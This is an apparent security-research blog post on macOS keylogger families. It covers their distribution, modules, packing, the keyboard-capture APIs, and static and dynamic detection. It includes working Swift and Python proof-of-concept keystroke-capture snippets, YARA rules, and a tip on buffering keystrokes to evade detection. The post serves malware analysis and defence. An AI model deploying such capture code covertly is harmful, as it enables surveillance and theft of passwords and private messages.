Moonlock Lab

An in-depth look at the keylogger malware family

Mykhailo Hrebeniuk

Sep 22, 202318 min read

An in-depth look at the keylogger malware family: Header image

In the ongoing war against malware, new threats pop up almost every day — but they still fall under the same general categories. For this analysis, we’ve taken a closer look at the keylogger malware family. Based on the data obtained from our anti-malware technology Moonlock Engine, we’ve laid out the distribution of keyloggers, their core modules, anti-analysis techniques, and more.

Are keyloggers dangerous?

Only a few keylogger families are designed solely for keyboard capture, and their open-source code is written as PoC (proof of concept) without any malicious intent. However, the harsh reality is that keyloggers are more commonly created for surveillance and data theft purposes.

Keyloggers can be used to steal the following data:

  • Typed passwords for personal email or social media accounts
  • Credit card numbers and PINs when the user makes online payments
  • Private conversations with close contacts

So, a user might have a well-configured VPN, visit trusted websites with HTTPS connections, and provide information only to trusted payment systems. Yet a keylogger will still capture this information at the OS level.

Plus, the majority of keyloggers come with an additional feature: they transmit the collected information to third parties over the network. This can pose a significant threat, depending on what information the keylogger has been transmitting and how long it has been active.

Keyloggers usually are installed and operate without the user’s knowledge. And they can remain hidden in the operating system. For example, Keystroke Spy Keylogger can notify third parties via email when a user types specific words or phrases, as well as hide itself.

Keyloggers in the wild

Over the period from March 1, 2023, to August 31, 2023, Moonlock Lab detected a large number of keylogger samples on user devices. The research was conducted using the Moonlock Engine, which is integrated into CleanMyMac X. Here’s what we have found.

Keylogger detection percentage by family.

Additionally, when looking at detections broken down by country, we get the following distribution.

Keylogger detection distribution by country.

Note that the current dataset shows that in France, there is a significant spike in keylogger activity (15.1%) compared to other European countries. But if we count the number of detected keyloggers as a percentage of the total number of users in related countries, Ukraine surpasses France to take first place. This is quite evident due to the geopolitical situation.

Keylogger detections per user by country.

Keylogger development and functionality

From a development perspective, the average keylogger typically includes the following core modules:

  • Keyboard interception module – how the keylogger uses MacOS System API
  • Information storage module – how the keylogger uses files or local databases
  • Information transmission module – how the keylogger uses http requests, email, raw tcp/udp sockets, ftp, messengers, etc.
  • Persistence mechanism – how the keylogger operates within the system, often including features for hiding

Additional functionalities may include:

  • A browser history recording module that targets the most popular browsers like Safari, Firefox, Chrome
  • A screenshot creation module, in most cases, is triggered by the typing of specific words
  • An input/output buffer interception module that is activated when the user copies text
  • A license/payment module related to B2C/B2B keylogger solutions

The more functionalities a keylogger has, the closer it gets to being considered spyware. Keyloggers are only one element of spyware, with other features including screen recording, audio and video capture, geolocation tracking, theft of files or passwords, and others.

Keyloggers by language

From a programming languages perspective, the following distribution data emerged among the 22 keylogger families available in the Moonlock Lab collection.

Keylogger distribution by language.

It’s worth noting that most keyloggers are developed in Objective-C due to its ease of implementing the necessary functionality, as it is a native programming language.

Keylogger macho binary modification

Macho is a binary format for executable files in MacOS, and Moonlock Lab had approximately 420 keylogger macho samples for analysis. The general distribution of keyloggers by family can be observed below.

Keylogger macho samples in Moonlock Lab.

If the number of samples in the keylogger family exceeds 15, it may indicate that the keylogger is widespread. Therefore, a few conclusions can be drawn.

The less likely scenario is that the keylogger code is auto-generated from a few templates, which is rare for the mentioned Keylogger families. The more likely scenario is that the keylogger is being updated periodically, indicating ongoing development.

Keylogger anti-analysis techniques

As if the world of cybersecurity wasn’t already complex enough, researchers attempting to study malware are often forced to contend with anti-analysis techniques. These are methods that are employed to intentionally complicate the analysis of malware.

In the majority of analyzed keylogger families, there were no anti-analysis techniques. However, there were some exceptions:

  • BlueBlood keylogger – some malware samples are packed with UPX (Ultimate Packer for executables)
  • Python keyloggers – some are packed using PyInstaller (which bundles a Python application and all its dependencies into a single package)

However, this is quickly resolved. For UPX unpacking, users can execute the following command using the UPX utility:

$> upx -d file-in-upx 

You can also utilize the following open-source tools for unpacking and analyzing PyInstaller:

Keylogger library/API usage

As a result of analyzing 22 detected families, the following keyboard interception mechanisms at the MacOS API level can be identified.

Note: the code examples below are implemented for malware analysts to investigate the behavior of keyloggers.

MacOS API: CGEvent

The easy-to-use CGEvent API works on macOS 10.4 and above. All you need to do is create a tap, add a run loop events source, and enable a tap. This allows your application to listen and log global events with a predefined CGEventMask mask.

Application requirements

Works fromSandbox, non-sandbox
PermissionsAccessibility
Input Monitoring
Min macOS10.4

There are also some system restrictions for macOS:

  • The current process must be running as the root user.
  • Access to assistive devices must be enabled. In OS X v10.4, you can enable this feature using System Preferences > Universal Access > Keyboard view.

Documentation

CGEvent Apple Developer Documentation

Code example (PoC)

import Cocoa

final class KeyLogger {
    private let eventTap: CFMachPort
    
    init?() {
        // 1.  Create mask for keyDown and keyUp events
        let mask = CGEventMask((1 << CGEventType.keyDown.rawValue) | (1 << CGEventType.keyUp.rawValue))
        // 2. Define function for handling CGEvents
        func callback(
            proxy: CGEventTapProxy,
            type: CGEventType,
            event: CGEvent,
            refcon: UnsafeMutableRawPointer?
        ) -> Unmanaged<CGEvent>? {
            // 8. Convert CGEvent to NSEvent and log info in console
            let cgEvent = NSEvent(cgEvent: event)
            // 9. Convert CGEvent to NSEvent and log info in console
            cgEvent.flatMap {
              NSLog("User pressed: \($0.char), modifiers: \($0.modifiersFlag), keyDown: \($0.isKeyDown)")
            }
            return Unmanaged.passRetained(event)
        }
        // 3. Create Tap events with mask and defined callback handler
        guard let eventTap = CGEvent.tapCreate(
            tap: .cghidEventTap,
            place: .headInsertEventTap,
            options: .defaultTap,
            eventsOfInterest: mask,
            callback: callback,
            userInfo: nil
        ) else {
            return nil
        }
        // 4. Save reference to eventTap
        self.eventTap = eventTap
        
        // 5. Create a run loop event source.
        let runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0)
        // 6. Add the source to the appropriate run loop.
        CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, .commonModes)
        // 7. Enable tap events
        CGEvent.tapEnable(tap: eventTap, enable: true)
    }
}

MacOS API: NSEvent

In MacOS, applications are allowed to track copies of global events that other applications in the system have access to. This applies to keyboard key presses and mouse/trackpad actions alike.

NSEvent stands out from CGEvent due to its Swift-like syntax and straightforward API. Developers don’t need to worry about the RunLoop; all that’s left is to manage the event-handling process.

Application requirements

Works fromSandbox, non-sandbox
PermissionsAccessibility
Min macOS10.6

Documentation

NSEvent Apple Developer Documentation

Code example (PoC)

import Cocoa

final class KeyLogger {
private var observer: Any?

init() {
    // 1. Create global monitor for keyDown and keyUp events
    // and save a reference to an event handler object.
    observer = NSEvent.addGlobalMonitorForEvents(
        matching: [.keyUp, .keyDown]
    ) { event in
        // 2. Print event details in console
        NSLog("User pressed: \(event.char), modifiers: \(event.modifiersFlag), keyDown: \(event.isKeyDown)")
    }
}

}

MacOS API: IOHIDManager

IOKit and IOHIDManager enable developers to access hardware and receive mouse and keyword events. API gives you the ability to listen to generic events from a concrete source, like a keyboard, a gamepad, a keypad, or even a joystick. For a full list, check the list of all kHIDUsage cases.

Application requirements

Works fromSandbox (Required additional entitlements field com.apple.security.device.usb), non-sandbox
PermissionsInput Monitoring
Min macOS10.5

Documentation

IOHIDManager Apple Developer Documentation

Additional information about USB entitlements can be found here.

Code example (PoC)

import Cocoa
import IOKit
import IOKit.hid

final class KeyLogger {
    private let hidManager: IOHIDManager
    
    init() {
        // 1. Create hidManager
        self.hidManager = IOHIDManagerCreate(kCFAllocatorDefault, IOOptionBits(kIOHIDOptionsTypeNone))
        // 2. Set matching criteria, in out case generic devices
        let matchingDict = [
            kIOHIDDeviceUsagePageKey: kHIDPage_GenericDesktop,
            kIOHIDDeviceUsageKey: kHIDUsage_GD_Keyboard
        ]
        // 3. Assign matching devices dictionary to HID manager
        IOHIDManagerSetDeviceMatching(hidManager, matchingDict as CFDictionary)
        // 4. Setup callback functions with handler call
        let context = UnsafeMutableRawPointer(Unmanaged.passUnretained(self).toOpaque())
        IOHIDManagerRegisterInputValueCallback(hidManager, { (context, result, sender, inputValue) in
            guard let context = context else { return }
            let inputMonitor = Unmanaged<KeyLogger>.fromOpaque(context).takeUnretainedValue()
            inputMonitor.handleInputValue(result, inputValue: inputValue)
        }, context)
        // 5. Open the manager and devices to start receiving events.
        IOHIDManagerOpen(hidManager, IOOptionBits(kIOHIDOptionsTypeNone))
        // 6. Schedule manager work with the run loop to receive events
        IOHIDManagerScheduleWithRunLoop(hidManager, CFRunLoopGetCurrent(), CFRunLoopMode.defaultMode.rawValue)
    }
    
    private func handleInputValue(_ result: IOReturn, inputValue: IOHIDValue) {
        // 7. Check if the result is success
        guard result == kIOReturnSuccess else { return }
        // 8. Extract element and keyCode value from input
        let element = IOHIDValueGetElement(inputValue)
        let keyCode = IOHIDElementGetUsage(element)
        // 9. Skip handling invalid keys
        guard !(keyCode < 4 || keyCode > 231) else { return }
        // 10. Define if event is keyDown (1) or keyUp (0).
        let isKeyDownEvent = IOHIDValueGetIntegerValue(inputValue) == 1
        // 10. Find keyboard value from predefined dictionary
        let char = Self.keysDict[keyCode] ?? ""
        // 11. Log event to a console
        NSLog("User pressed: \(char), keyDown: \(isKeyDownEvent)")
    }
}

extension KeyLogger {
    static let keysDict: [UInt32: String] = [
        4 : "a",
        ...
        231 : "RightCommand"
    ]
}

Here is an open source example.

MacOS API: IOHIKeyboard (Deprecated)

IOHIKeyboard is a deprecated API inside kernel framework. Functionality is limited to macOS 10.15.2 and above.

In this case, developers have to create a KEXT (kernel extension) and distribute it on the target Mac, which allows it to record keyboard inputs. Developers can track information about event type (key up or down), selected characters, flags (Command, Option, Alt, etc.), and even the time of the keyboard interaction event.

Documentation

IOHIKeyboard Apple Developer Documentation

Open-source code example

An example of the IOHIKeyboard code can be found here.

MacOS API: RegisterEventHotKey

Apple also provides the developer API for keyboard shortcuts. It can be used only as a combination of keys and modifier flags, like Command, Shift, or Option.

The special RegisterEventHotKey command can intercept event system shortcuts, like Command + A for selecting all. As soon as each shortcut is registered, API can’t be used for logging separate key down events as in previous examples.

Open-source code example

An example of the RegisterEventHotKey code can be found here (not a keylogger project), as well as how to add user-customizable global keyboard shortcuts (hotkeys) to your macOS app in minutes.

Python lib: Pynput

The current implementation of pynput utilizes Quartz.kCGEvent.

Documentation

Handling the keyboard — pynput 1.7.6 documentation

  • “Supported values are: darwin_intercept A callable taking the arguments (event_type, event), where event_type is Quartz.kCGEventKeyDown or Quartz.kCGEventKeyUp, and event is a CGEventRef.”
  • “The package pynput.keyboard contains classes for controlling and monitoring the keyboard.“

Code example (PoC)

import pynput.keyboard
...
pynput.keyboard.Listener(on_press=self.process_key_press)

Keylogger distribution

It’s worth noting that keylogger solutions are quite popular around the world, both in the B2C and B2B segments, offered under licenses. The provided statistics confirm this.

Keylogger distribution by source.

Purchased license keyloggers

Among the 22 keylogger families analyzed, 15 are distributed as paid subscriptions that users or employers must manually install on their computers. Such subscriptions often include access to a centralized monitoring system.

For example:

  • Spyrix KeyLogger is positioned as a solution for family or employee monitoring.
  • iMonitor Mac Keylogger is exclusively positioned as an employee monitoring solution.

It’s interesting that among advertisements for paid keyloggers, there are offers for monitoring one’s own children.

Such examples include:

  • Kidlogger is developed by SafeJKA S.R.L., a company registered in Moldova. The company has projects under the Rohos domain. The website encourages users to “choose the package and start using our parental control service today.”
  • Refog KeyLogger has rather aggressive advertising. Their website reads, “Computers are everywhere, including your kids’ bedroom.”

Open-source keyloggers

Open-source solutions rank next in the statistics. They are written as PoCs or ready for use on a free basis. It’s common among malicious actors to modify open-source code for themselves.
For example:

  • Swift keylogger – A keylogger for mac written in Swift using HID
  • Keylogger OS X – A very simple keylogger for self-quantifying on Mac OS X
  • Keylogger – A no-frills keylogger for macOS

Trojan keyloggers

Occupying last place in the distribution of keyloggers are those that infiltrate users’ devices as trojans or are installed through a backdoor.

A prime example is trojan Ventir, which was quite well-known in 2014:

  1. Name: MacOS:Ventir-A / Application.MAC.OSX.KextLogger.H
  2. sha256: 59539ff9af82c0e4e73809a954cf2776636774e6c42c281f3b0e5f1656e93679
  3. VirusTotal First Submission: 2014-09-09

This is a modular trojan that, upon infiltrating the operating system, installs an open-source keylogger called LogKext. LogKext was created in 2007.

KextLogger (LogKext) is described as a “product of FSB software” on GitHub. It’s important to note that this is not related to the Russian FSB but rather bears a coincidental name resemblance.

Sources reference:

Keylogger code encapsulation

VirusTotal is a service that scans files for malware and is capable of establishing dependencies between files (such as what was contained within an archive), extracting readable information from binary files, displaying the type of malware, and much more. And if you’ve ever seen malware with a high number of detections on VirusTotal, you also may have noticed that antivirus companies name them in different ways.

In most cases, this is associated with independent research and nomenclature. However, there are situations where different types of malware share similar parts. In the case of keyloggers, one can observe a certain encapsulation of code from one family to another or notice the borrowing of specific characteristic elements. This phenomenon can be observed for many years within a particular family.

Keylogger examples with details

Let’s take the following keyloggers as examples: AoboKeylogger, LogKext, Observer Keylogger, and Amac Keylogger.

LogKext, developed back in 2007, is utilized in AoboKeylogger.

  1. VirusTotal sha256: cb463fb496b86f562861bda367d1e9af50e93805efcab4a6fbcbcb72ecb2f82a
  2. VirusTotal Name: LogKextInstaller
  3. The string in the binary file contains a reference to LogKext and AoboKeylogger: “/aobokeylogger/build/KeyLogger.build/Release/LogKextInstaller.build”.
  4. sting in binary file: “logKext-10%d.pkg
  5. Virus Total First Submission: 2015-01-20

The provided sample of the Observer Keylogger below contains references to LogKext. However, the package in which Observer Keylogger was distributed is called amac.app (Amac Keylogger). It turns out that the website with the address https://www[.]observer[.]pw is currently promoting the Observer Keylogger for Android, featuring content in the Russian language and links to a Russian technical support phone number.

  1. Virustotal sha256: 7d51e2cac40b606fcae81432dd4fb55a4b1461da18baebf67a791963c8d2f900
  2. VirusTotal Compressed Parents: amac-keylogger-std.dmg
  3. sting in binary file: “Keylogger observer must run as root.“
  4. sting in binary file: “/Library/Preferences/com.fsb.logKext“. This is a reference to LogKext and the developer company.
  5. Virus Total First Submission: 2014-12-29

The provided example demonstrates that the open-source LogKext is encapsulated within three other keyloggers that are marketed as paid solutions.

User interactions with keyloggers

Modern MacOS keyloggers require specific permissions to capture keystrokes, namely Accessibility and/or Input Monitoring access. This is managed by the TCC (Transparency, Consent, and Control) mechanism, which controls applications’ access to system resources.

A keylogger will request user permissions before its initial attempt to capture keystrokes. So let’s consider some examples from the Keylogger Library/API Usage section, how they interact with the user through the GUI, and how they demonstrate different behaviors.

Examples:
Application: CGEventSandbox.app (MacOS API: CGEvent)

  • Environment: MacOS Ventura 13.5.1
  • Requires Accessibility and Input Monitoring access.
  • A Keylogger using CGEvent will request access to Accessibility but not to Input Monitoring. The developer must additionally implement functionality that requests permissions for Input Monitoring. If such functionality does not exist, the user must manually grant access.

Note that if you revoke permissions from the application and do not restart the process, the keylogger will continue recording keyboard inputs until the process is restarted.

A screenshot of a keylogger event (part 1).
A screenshot of a keylogger event (part 2).

Application KeyloggerGlobalMonitor.app (MacOS API: NSEvent)

  • Environment: MacOS Ventura 13.5.1
  • Requires Accessibility access.
  • When using NSEvent, the developer should additionally implement functionality to request Accessibility permissions. If such functionality is absent, a user must manually grant access.
A screenshot of a keylogger event (part 3).

Application IOHIDManager.app (MacOS API: IOHIDManager)

  • Environment: MacOS Ventura 13.5.1
  • Requires Input Monitoring access.
  • When making the initial API call using IOHIDManager, the keylogger will automatically request access to Input Monitoring.
A screenshot of a keylogger event (part 4).

Keylogger detection

The detection of a keylogger can be divided into 2 approaches: static and dynamic.

Static detection

In this case, a great choice for quick file scanning would be YARA, a tool for detecting malware using predefined rules. For example, we can create a generic YARA rule built on samples from various keylogger families that will search for keystroke-capturing functionality. With its help, we can scan the system.

This method is also valid for keylogger searching in large databases of files for analysis. However, it may have a high false positive detection rate.

YARA example

rule KeyLogger_gen
{
    meta:
        description = "Find something similar to a keylogger"
    strings:
        // Self examples (IOHIDManager.app)
        // Self examples (CGEventSandbox.app)
        // Self examples (KeyloggerGlobalMonitor.app)
        $a0 = "CodingKeys"
        $a1 = "KeyDow"
        $a2 = "IOHIDManager"
        $a3 = "CGEvent"
        $a4 = "NSEvent"

        // sha256: 647f4e77c1f26f9f8ac5ce1eabe074bc0db0602252efd5fce306024b291653ac (Elite Keylogger)
        $b0 = "Cocoa"
        $b1 = "keyCode"
        $b2 = "keyEventWithType"

        // sha256: e58a1ea0d86fe7402572df8db5539cee7de6d64432d6d827008e0276c9b2c121 (PerfectKeyLogger)
        // sha256: 83ca6fbb0cec6aabc47fe529f58d5a43f9d86bb34f5edab7eefc9067f350ddf8 (Amac Keylogger)
        // sha256: a1eaa3085be6e3df038b2581b8524acb26174fb9e87fbf00cf82fee30b0f1b97 (BlueBlood)
        // sha256: 2764afdba8a4d4e0867fb1c3a4fb70d5b10f520e69197029566d4152135a06ce (Spyrix)
        // sha256: 7c794a9b32845ca71f2f1744a36dbec65fbb92a42348eae86bfd0c549586b370 (MacOSKeylogger)
        // sha256: 19960403787517576105f9c54ac12da96d8ed4ecec6789e00d390a948f24ba48 (KidLogger)
        // sha256: 98e3c260f17a01adea1a9a165efa6ef552be5ab2efc03f2dfb7cb380a70d25ea (Spytech Keystroke Spy)
        // sha256: 1996ddc461861c59034fae84a4db45788d9f3b3e809389d36800d194dab138bd (BackTrack)
        // sha256: ec12b3e3bc3f421ec473c675a882945ec4edf43d6efcb35f52ae338daf060e64 (iMonitor)
        $c0 = "Carbon"
        $c2 = /[Kk]eyCode/
        $c3 = "CGEventTapCreate"
        $c4 = "RegisterEventHotKey"
        $c5 = "KeyboardEvent"
        $c6 = "KeyboardMouse"
        $c7 = "keyDown"
        $c8 = "keyUp"
        $c9 = "CGEventKeyboardGetUnicodeString"

        // sha256: fa4831e971439e223a83257c6ec9a81a881a9281d8e0929e160799449a8586be (LogKext)
        $d0 = "IOHIKeyboard"
        $d1 = "KeyloggerEngineIOService"
        // sha256: 7d51e2cac40b606fcae81432dd4fb55a4b1461da18baebf67a791963c8d2f900 (ObserverKeylogger)
        $d2 = "keystrokes_"

        // sha256: 71940ec0d8a2be2ead9f0d16d3ec135173033983e1cd9a83390094e2a1641817 (Keyboard Spy Logger)
        // sha256: ad68d941b4ccae8ef811118e54f6321dcea8456a95127a283f62af31f3cf7875 (Telepath)
        // sha256: ad9705340e0b2e1265946a5587fbf681e3b515dd32430990b6b7ff08a262ddb0 (Refog)
        $e0 = "Cocoa"
        $e1 = /[Kk]eyCode/
        $e2 = /[Kk]eyDown/
        $e3 = /[Kk]eyUp/
        $e4 = "NSEvent"
        $e5 = "onKeyEvent"

        // sha256: c143c003769fbf784348b33a6c7ff46798cf42fef8a243d0ecc0a610c39b94ba (AgentBob)
        $f0 = "Carbon"
        $f1 = "keyboardAsyncKeyDown"
        $f2 = "Event_KeyDown"
        $f3 = "Keyboard.KeyName"
        $f4 = "HandleKeyDown"

        // sha256: cfa59bc92c42baf695b512aaa50b286a959ca57fe240a20512a5c729d0706650 (SwiftKeylogger)
        $g0 = "IOHIDManagerCreate" //IOKit.hid
        $g1 = "IOHIDManagerRegisterInputValueCallback"

        // sha256: b4e6adc4edfe2ba67c76f3855c14190a0144f2023e8f97c68e804b5ac6ee88b3 (KeyloggerOSX)
        $h0 = "keyCodeToReadableString"
        $h1 = "CGEventTapCreate"

        // sha256: 0d781da3a2a85ca8d58531a4e5741add21c63ac42f90ef2eb08615a8e25d637e (PythonKeyLogger)
        $i0 = "pynput"
        $i1 = "keyboard"
        $i2 = "Listener"
        // sha256: a8595b9819be7325b7aa6002e04425632dc500126594782a90983921b03e4ccc (PythonKeyLogger)
        $k0 = "NSEvent"
        $k1 = "NSKey"

    condition:
        ($a0 and $a1 and 3 of ($a*)) or
        3 of ($b*) or 3 of ($c*) or 2 of ($d*) or 
        4 of ($e*) or 3 of ($f*) or 2 of ($g*) or 
        2 of ($h*) or 3 of ($i*) or 2 of ($k*)
}

If we need to achieve the most accurate detection of a specific keylogger without false positives, we should create a rule targeted at more distinctive elements.

Here’s an example for Telepath.

Another YARA example

rule KeyLogger_Telepath_1
{
    meta:
        description = "Telepath rule"
    strings:
        // sha256: ad68d941b4ccae8ef811118e54f6321dcea8456a95127a283f62af31f3cf7875 (Telepath)
        $t0 = "Telepath"
        $t1 = "keyCode"
        $t2 = "keyDown"
        $t3 = "mouseMoved"
        $t4 = "CaptureSession"

    condition:
        all of them
}

Usage example

$> yara -rs target-rule.yar ./KeyLogger/

KeyLogger_Telepath_1 ./KeyLoggers/Telepath/ad68d941b4ccae8ef811118e54f6321dcea8456a95127a283f62af31f3cf7875.macho
...
0xde72:$t0: Telepath
0xfd44:$t1: keyCode
0xd619:$t2: keyDown
0xd5be:$t3: mouseMoved
...
0x10d1b:$t4: CaptureSession

Dynamic detection

In most cases, a keylogger will perform two main actions:

  1. Gain access to Accessibility and/or Input Monitoring via TCC
  2. Consistently record or transmit keystroke information

These are two actions that can be done for dynamic detection.

TCC Keylogger IoC

One option is to run the developed examples from the Keylogger Library/API Usage section. After granting all the necessary permissions to the test applications, examine the records that appear in the TCC.db database and the tccd logs in the Console application, particularly fields 1, 2, and 4 from the access table in the TCC.db database.

  1. service name
  2. client that access to service
  3. client_type: Bundle Identifier(0) or an absolute path(1)
  4. auth_value: denied(0), unknown(1), allowed(2), limited(3).

In this article by Keith Johnson, you will find a lot of valuable information about TCC.

Application: CGEventSandbox.app (MacOS API: CGEvent)

  • Environment: MacOS Ventura 13.5.1
  • Requires Accessibility and Input Monitoring access.
  • After granting access, there will be 2 entries in TCC.db:
$> sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "select * from access;" | grep -i CGEventSandbox      

kTCCServicePostEvent|com.bilous.CGEventSandbox|0|2|4|2|??||0|UNUSED||0|1694007093
kTCCServiceListenEvent|com.bilous.CGEventSandbox|0|2|4|1|??||0|UNUSED||0|1694007331
  • auth_value: (2) indicates that access has been granted.
  • kTCCServicePostEvent is a permission for sending events, including keyboard events.
  • kTCCServiceListenEvent is a permission for monitoring events, including keyboard events.

A review of the tccd logs in the Console application will show that during each CGEventSandbox.app launch, there are logs indicating access requests to kTCCServicePostEvent and kTCCServiceListenEvent.

A screenshot of CGEventSandbox.

Application: KeyloggerGlobalMonitor.app (MacOS API: NSEvent)

  • Environment: MacOS Ventura 13.5.1
  • Requires Accessibility permissions
  • After granting access, there will be 1 entry in TCC.db
$> sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "select * from access;" | grep KeyloggerGlobalMonitor

kTCCServiceAccessibility|com.bilous.KeyloggerGlobalMonitor|0|2|4|1|??||0|UNUSED||0|1694021492
  • kTCCServiceAccessibility allows an application to control a computer
  • In the dccd logs, we can observe that two accesses were granted: kTCCServiceListenEvent and kTCCServiceAccessibility
A screenshot of IOHIDManager.app.

Application: IOHIDManager.app (MacOS API: IOHIDManager)

  • Environment: MacOS Ventura 13.5.1
  • Requires Input Monitoring permissions
  • After granting access, there will be 1 entry in TCC.db
$> sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "select * from access;" | grep IOHIGManager

kTCCServiceListenEvent|com.bilous.IOHIGManager|0|2|4|1|??||0|UNUSED||0|1694025481
  • kTCCServiceListenEvent is a permission for monitoring events, including keyboard events
  • Logs from tccd display access to kTCCServiceListenEvent
A screenshot of Logs from tccd display access to kTCCServiceListenEvent.

ESF KeyLogger IoC

Any keylogger needs to store keystroke information or immediately transmit it over the network. To detect such behaviors, one can leverage the Apple Endpoint Security Framework (ESF), which enables the monitoring of system events to identify potential malicious activity.

You can view all available events by following the link: es_event_type_t | Apple Developer Documentation.

The tools ESFPlayground and MonitorUI can be used for visualizing ESF events. To test keylogger behavior, simply run any of the developed examples from the Keylogger Library/API Usage section.

Note: Keylogger Library/API Usage examples exhibit the same behavior as they use the same functionality for storing information.

A screenshot of CGEventSandbox.app: 12119.

In the illustration, we can see filtered ESF events for the application with PID (Process ID) CGEventSandbox.app: 12119. The information storage in a file happens immediately after processing a keyboard event, so we observe a distinctive “flood” in ESF logs during short intervals.

Let’s consider an option to store information in an SQLite database instead of a file. To do this, make some modifications to the KeyloggerGlobalMonitor.app application to log keyboard strokes into the database.

A screenshot of keyboard strokes logged in a database.

The behavior is similar to the previous example.

The described keylogger behavior is quite primitive. To reduce detection, keylogger developers can make it more sophisticated. For example, by taking the following steps:

  1. Add an internal cache buffer within the application
  2. Record keyboard keystrokes into the buffer
  3. After a certain time interval, unload the content from the buffer into local storage or cloud storage

The verdict on keyloggers

While the process of keylogging can be used for legitimate purposes, and many keylogger products do operate with the users’ consent, they are commonly used for nefarious purposes by bad actors.

Keyloggers can be one of many weapons in the arsenal of increasingly sophisticated cybercriminals. Not only are unsolicited keyloggers a danger to your private information online, but they can serve as a gateway to more dangerous malware. As always, the best course of action is to arm yourself with knowledge and take the proper steps to stay safe.

Co-authors

Oleksii Yasynskyi, Moonlock Lab

Oleksandr Bilous, Setapp

  1. UPX main page: UPX • Main Page
  2. GitHub PyInstaller Extractor: GitHub – extremecoders-re/pyinstxtractor: PyInstaller Extractor
  3. GitHub Python bytecode disassembler and decompiler: GitHub – zrax/pycdc: C++ python bytecode disassembler and decompiler
  4. GitHub Python bytecode decompiler: GitHub – rocky/python-uncompyle6: A cross-version Python bytecode decompiler
  5. Apple Developer Documentation – TapCreate: tapCreate(tap:place:options:eventsOfInterest:callback:userInfo:) | Apple Developer Documentation
  6. Apple Developer Documentation – AddGlobalMonitorForEvents: addGlobalMonitorForEvents(matching:handler:) | Apple Developer Documentation
  7. Apple Developer Documentation – IOHIDManager: IOHIDManager.h | Apple Developer Documentation
  8. Apple Developer Documentation – com.apple.security.device.usb: com.apple.security.device.usb | Apple Developer Documentation
  9. Apple Developer Documentation – IOHIKeyboard: IOHIKeyboard | Apple Developer Documentation
  10. Apple Developer Documentation – pynput: Handling the keyboard — pynput 1.7.6 documentation
  11. YARA documentation: Welcome to YARA’s documentation! — yara 4.3.2 documentation
  12. Keith Johnson, “A deep dive into macOS TCC.db“: A deep dive into macOS TCC.db | Rainforest QA
  13. Apple Developer Documentation, Endpoint Security: Endpoint Security | Apple Developer Documentation
  14. The Mitten Mac, “The ESF Playground“: The ESF Playground
  15. Apple Developer Documentation, es_event_type_t: es_event_type_t | Apple Developer Documentation
Mykhailo Hrebeniuk Mykhailo Hrebeniuk
Mykhailo is a macOS security researcher specializing in malware analysis, data analysis, and developing tools. He previously worked as a software developer with embedded Linux and networking, specializing in vulnerability research.